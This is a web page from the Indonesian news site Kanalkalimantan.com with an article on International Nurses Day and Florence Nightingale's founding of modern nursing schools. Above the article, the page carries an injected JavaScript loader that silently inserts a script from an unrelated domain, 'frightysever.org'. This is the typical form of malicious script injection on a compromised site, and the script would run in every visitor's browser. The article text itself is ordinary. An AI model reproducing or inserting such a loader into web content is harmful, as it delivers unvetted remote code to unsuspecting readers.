(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Hari Perawat Internasional diperingati setiap 12 Mei. Peringatan tahunan ini turut mengenang Florence Nightingale yang lahir pada 12 Mei 1820, sosok peletak dasar keperawatan modern.
Hari Perawat Internasional dipelopori oleh International Council of Nurses (ICN) pada tahun 1974. Peringatan ini untuk menyoroti peran penting perawat dalam perawatan kesehatan.
Sejarah Hari Perawat Internasional
Perhatian mengenai kesehatan tidak melulu ditujukan demi kesehatan pasien semata, tapi juga memerhatikan kemajuan perawatan kesehatan di tingkat nasional dan internasional. Tema berbeda dalam setiap peringatannya, berguna dalam meningkatkan kesadaran terhadap isu-isu yang muncul dalam profesi keperawatan.
Isu yang terjadi dalam profesi keperawatan antara lain dampak dari faktor ekonomi, perjuangan berkelanjutan dalam pencapaian gaji yang memadai, hingga hak mendapatkan kondisi kerja yang layak.
Sosok Florence Nightingale
Florence Nightingale lahir pada 12 Mei 1820. Dia menjadi tokoh penting dalam keperawatan selama Perang Krimea yang terjadi di tahun 1850-an. Florence ditugaskan sebagai perawat di Rumah Sakit Barak di Scutari -sekarang distrik Istanbul-.
Di sana, Florence menjadi pemimpin sekelompok perawat yang melakukan perawatan pada tentara Inggris. Dia sempat putus asa lantaran fasilitas tidak memadai. Akhirnya memaksakan standar perawatan ketat dan memastikan bangsal tetap bersih, ditunjang makanan dan persediaan medis.
Berangkat dari pengalamannya bekerja di Scutaro, membuat Florence bertekad mengampanyekan reformasi di bidang perawatan kesehatan dan keperawatan. Dia juga membuka sekolah bernama Nightingale School of Nursing di St Thomas’ Hospital di London. Setelah sekolah perawat ini sukses, sekolah pelatihan serupa mulai dibuka di tempat lain.
Sekolah rintisan perawat saat itu yang menerapkan pengajaran keperawatan berbasis Nightingale antara lain Sydney Infirmary and Dispensary (sekarang Sydney Hospital) di Australia tahun 1868, dan Bellevue Training School for Nurses di New York tahun 1873. Lalu, muncul pula sekolah perawat di Fuzhou, China, pada tahun 1888.
Kehadiran berbagai sekolah perawat rintisan tersebut menjadi pemicu kemunculan sekolah-sekolah perawat selanjutnya. Selain itu, profesi keperawatan modern mulai diakui secara luas. (Kanalkalimantan.com/kk)
Reporter : kk
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
This website uses cookies.